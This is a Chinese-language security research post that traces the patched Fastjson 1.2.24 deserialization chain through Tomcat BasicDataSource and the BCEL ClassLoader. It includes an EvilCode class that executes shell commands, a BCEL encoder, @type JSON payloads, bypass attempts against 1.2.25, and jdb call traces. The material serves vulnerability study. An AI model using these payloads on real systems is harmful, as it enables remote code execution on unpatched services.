阅读: 1
「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」
这条攻击链用到”org.apache.tomcat.dbcp.dbcp.BasicDataSource”、”org.apache.tomcat.dbcp.dbcp2.BasicDataSource”或其他什么等价类。比较老,只能用于Fastjson 1.2.24及更低版本。
Fastjson攻击链更多是用”com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”和”com.sun.rowset.JdbcRowSetImpl”,后者能一直用到Fastjson 1.2.47。
本来太老的攻击链没打算深究,后来觉得其中用到的BCEL编码有点意思,就调试跟踪了一下。
95%的人几年前就学过这招,如果仍有兴趣,可直接看”简化版调用关系”和”小结”。
参[73],后面的PoC用到了如下库:
tomcat-dbcp-7.0.99.jar
dbcp-6.0.53.jar
tomcat-dbcp-9.0.20.jar
tomcat-juli-9.0.20.jar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
/* * javac -encoding GBK -g -cp "fastjson-1.2.24.jar:." FastjsonDeserialize2.java */ import java.io.*; import java.nio.file.*; import java.nio.charset.*; import com.alibaba.fastjson.JSON; public class FastjsonDeserialize2 { private static String readFile( String path, Charset encoding ) throws IOException { byte[] buf = Files.readAllBytes( Paths.get( path ) ); return new String( buf, encoding ); } public static void main ( String[] argv ) throws Exception { /* * StandardCharsets.US_ASCII */ String str = readFile( argv[0], StandardCharsets.UTF_8 ); Object obj = JSON.parseObject( str ); } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |
/* * javac -encoding GBK -g EvilCode.java */ import java.io.*; public class EvilCode { static { String[] argv = new String[] { "0", "/bin/touch /tmp/scz_is_here" }; try { Operator( argv ); } catch ( Exception e ) { e.printStackTrace( System.err ); } } public EvilCode () { System.out.println( "scz is here" ); } public EvilCode ( Object[] argv ) throws Exception { Operator( argv ); } public static void Operator ( Object[] argv ) throws Exception { int opnum = Integer.parseInt( ( String )argv[0] ); String cmd; switch ( opnum ) { case 0 : cmd = ( String )argv[1]; Operator_0( cmd ); break; case 1 : cmd = ( String )argv[1]; Operator_1( cmd ); break; default: Operator_unknown(); break; } } private static void Operator_0 ( String cmd ) throws Exception { Runtime.getRuntime().exec( new String[] { "/bin/sh", "-c", cmd } ); } private static void Operator_1 ( String cmd ) throws Exception { String ret = PrivateExec( cmd ); throw new InvalidClassException( "\n[\n" + ret + "]\n" ); } private static void Operator_unknown () throws Exception { throw new InvalidClassException( "\n[\nUnknown opnum\n]\n" ); } private static String PrivateExec ( String cmd ) throws IOException { ProcessBuilder pb = new ProcessBuilder( "/bin/sh", "-c", cmd ).redirectErrorStream( true ); Process p = pb.start(); StringBuilder ret = new StringBuilder( 256 ); BufferedReader in = new BufferedReader( new InputStreamReader( p.getInputStream() ) ); String line; while ( true ) { line = in.readLine(); if ( line == null ) { break; } ret.append( line ).append( "\n" ); } return( ret.toString() ); } } |
EvilCode没必要写成这样,我是顺手挪用别处的代码,你完全可以精简之。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
/* * javac -encoding GBK -g -XDignore.symbol.file BCELEncode.java * java BCELEncode EvilCode.class */ import java.io.*; import java.nio.file.Files; import com.sun.org.apache.bcel.internal.classfile.Utility; public class BCELEncode { public static void main ( String[] argv ) throws Exception { String filename = argv[0]; byte[] buf = Files.readAllBytes( ( new File( filename ) ).toPath() ); /* * public static String encode(byte[] bytes, boolean compress) */ String str = Utility.encode( buf, true ); String bcel = "$$BCEL$$" + str; System.out.println( bcel ); } } |
$ java BCELEncode EvilCode.class $$BCEL$$$l$8b...$A$A |
Utility.encode()的输出不包含”$$BCEL$$”前缀,需要自己增加。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
/* * javac -encoding GBK -g -XDignore.symbol.file BCELDecode.java * java BCELDecode <str> <out.class> */ import java.io.*; import java.nio.file.*; import com.sun.org.apache.bcel.internal.classfile.Utility; public class BCELDecode { public static void main ( String[] argv ) throws Exception { String bcel = argv[0]; String filename = argv[1]; int index = bcel.indexOf( "$$BCEL$$" ); /* * if ( !bcel.startsWith( "$$BCEL$$" ) ) */ if ( index < 0 ) { return; } String str = bcel.substring( index + 8 ); /* * public static byte[] decode(String s, boolean uncompress) */ byte[] buf = Utility.decode( str, true ); Files.write ( ( new File( filename ) ).toPath(), buf, new OpenOption[] { StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING } ); } } |
$ java BCELDecode '$$BCEL$$$l$8b...$A$A' /tmp/out.class |
BCELDecode与攻击链无关,仅仅是因为前面有个负责编码的,出于程序员的本能反应,顺手写个负责解码的,保持对称性。
{ '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } |
driverClassName属性的值就是BCELEncode输出的内容。
有人喜欢在PoC中用代码构造上述json内容,我的习惯是将各组件按自己的理解拆分,以保持边界感。没有什么特别优势,每个人的学习习惯不同,莫来我处装X。
java \ -cp "fastjson-1.2.14.jar:dbcp-6.0.53.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json |
这两条命令都能得手。
调试FastjsonDeserialize2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.lang.Runtime.exec(java.lang.String[]) [1] java.lang.Runtime.exec (Runtime.java:485), pc = 0 [2] $$BCEL$$$l$8b...$A$A.Operator_0 (EvilCode.java:55), pc = 21 [3] $$BCEL$$$l$8b...$A$A.Operator (EvilCode.java:41), pc = 44 [4] $$BCEL$$$l$8b...$A$A.<clinit> (EvilCode.java:14), pc = 16 [5] java.lang.Class.forName0 (native method) [6] java.lang.Class.forName (Class.java:348), pc = 49 [7] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createConnectionFactory (BasicDataSource.java:1,559), pc = 36 [8] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createDataSource (BasicDataSource.java:1,467), pc = 30 [9] org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection (BasicDataSource.java:1,103), pc = 1 [10] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [11] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [12] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [13] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [14] com.alibaba.fastjson.util.FieldInfo.get (FieldInfo.java:451), pc = 16 [15] com.alibaba.fastjson.serializer.FieldSerializer.getPropertyValue (FieldSerializer.java:114), pc = 5 [16] com.alibaba.fastjson.serializer.JavaBeanSerializer.getFieldValuesMap (JavaBeanSerializer.java:439), pc = 50 [17] com.alibaba.fastjson.JSON.toJSON (JSON.java:902), pc = 313 [18] com.alibaba.fastjson.JSON.toJSON (JSON.java:824), pc = 4 [19] com.alibaba.fastjson.JSON.parseObject (JSON.java:206), pc = 18 [20] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
JSON.parseObject // 8u232+1.2.24+7.0.99 JSON.parse // JSON:201 JSON.parse // JSON:128 DefaultJSONParser.parse // JSON:137 DefaultJSONParser.parse // DefaultJSONParser:1293 DefaultJSONParser.parseObject // DefaultJSONParser:1327 JavaBeanDeserializer.deserialze // DefaultJSONParser:368 JavaBeanDeserializer.parseRest // JavaBeanDeserializer:184 JavaBeanDeserializer.deserialze // JavaBeanDeserializer:922 JavaBeanDeserializer.parseField // JavaBeanDeserializer:600 DefaultFieldDeserializer.parseField // JavaBeanDeserializer:773 FieldDeserializer.setValue // DefaultFieldDeserializer:83 BasicDataSource.setDriverClassLoader // FieldDeserializer:96 BasicDataSource.setDriverClassName // 攻击者可控 JSON.toJSON // JSON:206 JSON.toJSON // JSON:824 JavaBeanSerializer.getFieldValuesMap // JSON:902 FieldSerializer.getPropertyValue // JavaBeanSerializer:439 FieldInfo.get // FieldSerializer:114 BasicDataSource.getConnection // FieldInfo:451 BasicDataSource.createDataSource // BasicDataSource:1103 BasicDataSource.createConnectionFactory // BasicDataSource:1467 Class.forName // BasicDataSource:1559 // 第二形参initialize等于true Class.forName0 // java.lang.Class:348 java.lang.ClassLoader.loadClass util.ClassLoader.loadClass // java.lang.ClassLoader:351 // com.sun.org.apache.bcel.internal.util.ClassLoader if (class_name.indexOf("$$BCEL$$") >= 0) // util.ClassLoader:151 util.ClassLoader.createClass // util.ClassLoader:152 index = class_name.indexOf("$$BCEL$$") // util.ClassLoader:199 real_name = class_name.substring(index + 8) // util.ClassLoader:200 Utility.decode // util.ClassLoader:204 // com.sun.org.apache.bcel.internal.classfile.Utility // BCEL解码 ClassParser.<init> // util.ClassLoader:205 // com.sun.org.apache.bcel.internal.classfile.ClassParser ClassParser.parse // util.ClassLoader:207 JavaClass.<clinit> // ClassParser:206 JavaClass.<init> // ClassParser:206 // com.sun.org.apache.bcel.internal.classfile.JavaClass bytes = clazz.getBytes() // util.ClassLoader:162 java.lang.ClassLoader.defineClass // util.ClassLoader:163 // cl = defineClass(class_name, bytes, 0, bytes.length) // class_name等于driverClassName属性值 // bytes源自driverClassName属性值的BCEL解码 ClassLoader.defineClass // java.lang.ClassLoader:635 java.lang.ClassLoader.defineClass1 // java.lang.ClassLoader:756 // defineClass()并不会执行静态代码块 EvilCode.<clinit> // 静态代码块 // Class.forName0()中会执行静态代码块 // 但不是通过defineClass()触发的 Runtime.exec Class.newInstance // BasicDataSource:1584 EvilCode.<init> // 无参构造函数 PrintStream.println |
com.sun.org.apache.bcel.internal.util.ClassLoader加载class时检查class_name是否动用过BCEL编码,如果是,class_name就不只是类名,还包含类的字节码的BCEL编码。util.ClassLoader会从类名中析取字节码并加载之,这可真是骚操作,太邪恶了。
java \
-cp “fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:.” \
FastjsonDeserialize Fastjson_BasicDataSource.json
上述命令使用FastjsonDeserialize,未能得手,不抛异常,静默结束。
FastjsonDeserialize调的是:
JSON.parseObject( fis, Object.class, Feature.SupportNonPublicField ) |
FastjsonDeserialize2调的是:
调试后确认前者内部不会调用JSON.toJSON(),从而无法触发EvilCode.。这个例子说明,JSON.parseObject()的不同重载版本对攻击链的反应各不相同,不要笼而统之地说函数名,一定要精确描述测试时所用上下文。
java \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.tomcat.dbcp.dbcp.BasicDataSource at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23) |
“org.apache.tomcat”、”com.sun.”打头的全进黑名单。
1.2.25至1.2.47的所有补丁绕过方案均无法用于BasicDataSource利用链,各有原因。
{ '@type':"[org.apache.tomcat.dbcp.dbcp.BasicDataSource"[{, 'driverClassLoader': { '@type':"LLcom.sun.org.apache.bcel.internal.util.ClassLoader;;" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } |
原始意图是进行补丁绕过,但1.2.25未能得手。
从1.2.25开始有一个无法绕过的检查:
/* * 1.2.25 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType * * 866行,这段检查完全是针对BasicDataSource利用链而来 */ if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) { throw new JSONException("autoType is not support. " + typeName); } |
[ { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"[com.sun.org.apache.bcel.internal.util.ClassLoader"[{ }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } ] |
原始意图是进行补丁绕过,但1.2.25未能得手。
/* * 1.2.25 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType */ if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { /* * 876行,此时expectClass等于"java.lang.ClassLoader",clazz等于 * "[com.sun.org.apache.bcel.internal.util.ClassLoader",后者是数组类型。 */ throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
{ 'a': { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, 'b': { '@type':"java.lang.Class", 'val':'com.sun.org.apache.bcel.internal.util.ClassLoader' }, 'c': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } } |
原始意图是进行补丁绕过,但1.2.25未能得手。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
/* * 1.2.25 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType * * 处理"com.sun.org.apache.bcel.internal.util.ClassLoader"时,虽然 * autoTypeSupport为false,但expectClass不为null,等于 * "java.lang.ClassLoader",下面的黑名单检查无法绕过 */ if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { /* * 822行 */ throw new JSONException("autoType is not support. " + typeName); } } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
[ { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, { '@type':"java.lang.Class", 'val':'com.sun.org.apache.bcel.internal.util.ClassLoader' }, { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } ] |
原始意图是进行补丁绕过,但1.2.25未能得手。失败原因同前。
BasicDataSource所在package变了一点点,攻击原理同前。
{ '@type':"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } |
java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-9.0.20.jar:tomcat-juli-9.0.20.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource2.json |
前面各小节写完后,发现存于待读队列中的KINGX的大作[76],我应该先读他这篇的,又多走了不少弯路。文中有个小八卦,应该是TSRC在2017年捕获到在野利用,其中有一个通用性更好的PoC,攻防双方都很厉害,佩服。
这是KINGX所说的通用性更好的PoC。
{ { '@type':"com.alibaba.fastjson.JSONObject", 'a': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } }:'b' } |
反序列化时首先得到一个JSONObject对象,然后将该JSONObject对象置于”JSON Key”的位置。Fastjson在反序列化时会对”JSON Key”自动调用JSON.toString()。JSONObject是Map的子类,执行toString()时会将当前对象转为字符串形式,会提取类中所有Field,自然会执行相应的getter、is等方法,以此调用:
org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection() |
为完成攻击,必须调用上述函数。前面都是KINGX给的解释性说明,不关我事。
JSON.parse()、JSON.parseObject()有很多重载版本,其行为各不相同。网上有一些关于它们的小结,比如哪些getter会被调用。但我要说一句,这些小结你可以领会其大意,但绝不要当成真理,我看到的所有这类小结都不严谨,以偏概全,某些情况下会误导你。
不说各种重载版本JSON.parse()、JSON.parseObject()之间的区别,单说网上常提的”符合特定条件的getter会被调用”。参看:
com.alibaba.fastjson.util.JavaBeanInfo.build() |
那些所谓的特定条件都在这个函数中体现。建议看fastjson--sources.jar,如果用JD-GUI直接看fastjson-.jar,没有注释。参[33]。
在JavaBeanInfo.build()语境下,BasicDataSource.getConnection()不符合特定条件。而Fastjson_BasicDataSource3.json的写法增大了此getter被调用的可能性,这种写法不局限于BasicDataSource攻击链,诸君细品。
java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource3.json java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource3.json |
与使用Fastjson_BasicDataSource.json时不同,上述两条命令均得手。
调试FastjsonDeserialize:
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource3.json jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassLoader stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassName stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection() stop in com.sun.org.apache.bcel.internal.util.ClassLoader.createClass stop in java.lang.Runtime.exec(java.lang.String[]) stop in java.io.PrintStream.println(java.lang.String) monitor wherei |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
JSON.parseObject // 8u232+1.2.24+7.0.99 JSON.parseObject // JSON:422 JSON.parseObject // JSON:452 JSON.parseObject // JSON:370 JSON.parseObject // JSON:270 JSON.parseObject // JSON:307 DefaultJSONParser.parseObject // JSON:339 // parseObject(Type type, Object fieldName) JavaObjectDeserializer.deserialze // DefaultJSONParser:639 DefaultJSONParser.parse // JavaObjectDeserializer:45 DefaultJSONParser.parseObject // DefaultJSONParser:1327 // parseObject(Map object, Object fieldName) DefaultJSONParser.parse // DefaultJSONParser:296 // key = parse() DefaultJSONParser.parse // DefaultJSONParser:1293 DefaultJSONParser.parseObject // DefaultJSONParser:1327 MapDeserializer.deserialze // DefaultJSONParser:368 DefaultJSONParser.parseObject // MapDeserializer:28 DefaultJSONParser.parseObject // DefaultJSONParser:1081 DefaultJSONParser.parseObject // DefaultJSONParser:1076 DefaultJSONParser.parseObject // DefaultJSONParser:517 JavaBeanDeserializer.deserialze // DefaultJSONParser:368 JavaBeanDeserializer.parseRest // JavaBeanDeserializer:184 JavaBeanDeserializer.deserialze // JavaBeanDeserializer:922 JavaBeanDeserializer.parseField // JavaBeanDeserializer:600 DefaultFieldDeserializer.parseField // JavaBeanDeserializer:773 FieldDeserializer.setValue // DefaultFieldDeserializer:83 BasicDataSource.setDriverClassLoader // FieldDeserializer:96 BasicDataSource.setDriverClassName // 攻击者可控 JSON.toString // DefaultJSONParser:436 // key = (key == null) ? "null" : key.toString() JSON.toJSONString // JSON:793 JSONSerializer.write // JSON:799 MapSerializer.write // JSONSerializer:275 BasicDataSource.getConnection // MapSerializer:251 BasicDataSource.createDataSource // BasicDataSource:1103 BasicDataSource.createConnectionFactory // BasicDataSource:1467 Class.forName // BasicDataSource:1559 // 第二形参initialize等于true Class.forName0 // java.lang.Class:348 java.lang.ClassLoader.loadClass util.ClassLoader.loadClass // java.lang.ClassLoader:351 // com.sun.org.apache.bcel.internal.util.ClassLoader if (class_name.indexOf("$$BCEL$$") >= 0) // util.ClassLoader:151 util.ClassLoader.createClass // util.ClassLoader:152 index = class_name.indexOf("$$BCEL$$") // util.ClassLoader:199 real_name = class_name.substring(index + 8) // util.ClassLoader:200 Utility.decode // util.ClassLoader:204 // com.sun.org.apache.bcel.internal.classfile.Utility // BCEL解码 ClassParser.<init> // util.ClassLoader:205 // com.sun.org.apache.bcel.internal.classfile.ClassParser ClassParser.parse // util.ClassLoader:207 JavaClass.<clinit> // ClassParser:206 JavaClass.<init> // ClassParser:206 // com.sun.org.apache.bcel.internal.classfile.JavaClass bytes = clazz.getBytes() // util.ClassLoader:162 java.lang.ClassLoader.defineClass // util.ClassLoader:163 // cl = defineClass(class_name, bytes, 0, bytes.length) // class_name等于driverClassName属性值 // bytes源自driverClassName属性值的BCEL解码 ClassLoader.defineClass // java.lang.ClassLoader:635 java.lang.ClassLoader.defineClass1 // java.lang.ClassLoader:756 // defineClass()并不会执行静态代码块 EvilCode.<clinit> // 静态代码块 // Class.forName0()中会执行静态代码块 // 但不是通过defineClass()触发的 Runtime.exec Class.newInstance // BasicDataSource:1584 EvilCode.<init> // 无参构造函数 PrintStream.println |
BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本。
曾经用于JdbcRowSetImpl攻击链的1.2.25至1.2.47的所有补丁绕过方案均无法用于BasicDataSource攻击链,各有原因。
java.lang.Class.forName()有机会执行目标类静态代码块,jdb中可拦截some.<clinit>。
java.lang.ClassLoader.defineClass()并不会执行目标类静态代码块。
Class.forName0()中执行静态代码块时并不是通过ClassLoader.defineClass()触发的,native方法中另有触发点,触发点位于对defineClass()调用之后的某处。
com.sun.org.apache.bcel.internal.util.ClassLoader加载class时对类名有特殊流程,如果类名中包含”$$BCEL$$”子串,则判定此类名中还包含经BCEL编码过的类的字节码。此时util.ClassLoader会从特殊类名中解码还原出类的字节码并加载之,这个操作太邪恶。这是整个攻击过程中最有意思的部分,或许在别处用得上。
就BasicDataSource攻击链而言,可以不用静态代码块执行恶意代码,后面另有机会调用恶意类的无参构造函数,jdb中可拦截some.<init>。
“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”亦可用于攻击。
[32]
https://github.com/alibaba/fastjson
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.14/fastjson-1.2.14.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48-sources.jar
[33] FastJson反序列化漏洞利用的三个细节TemplatesImpl利用链 – KINGX [2018-07-06]
https://mp.weixin.qq.com/s/C1Eo9wst9vAvF1jvoteFoA
[73]
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/tomcat-dbcp-7.0.99.jar
https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/
https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/dbcp-6.0.53.jar
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/tomcat-dbcp-9.0.20.jar
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/tomcat-juli-9.0.20.jar
[76] Java动态类加载 当FastJson遇到内网 – KINGX [2019-12-31]
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html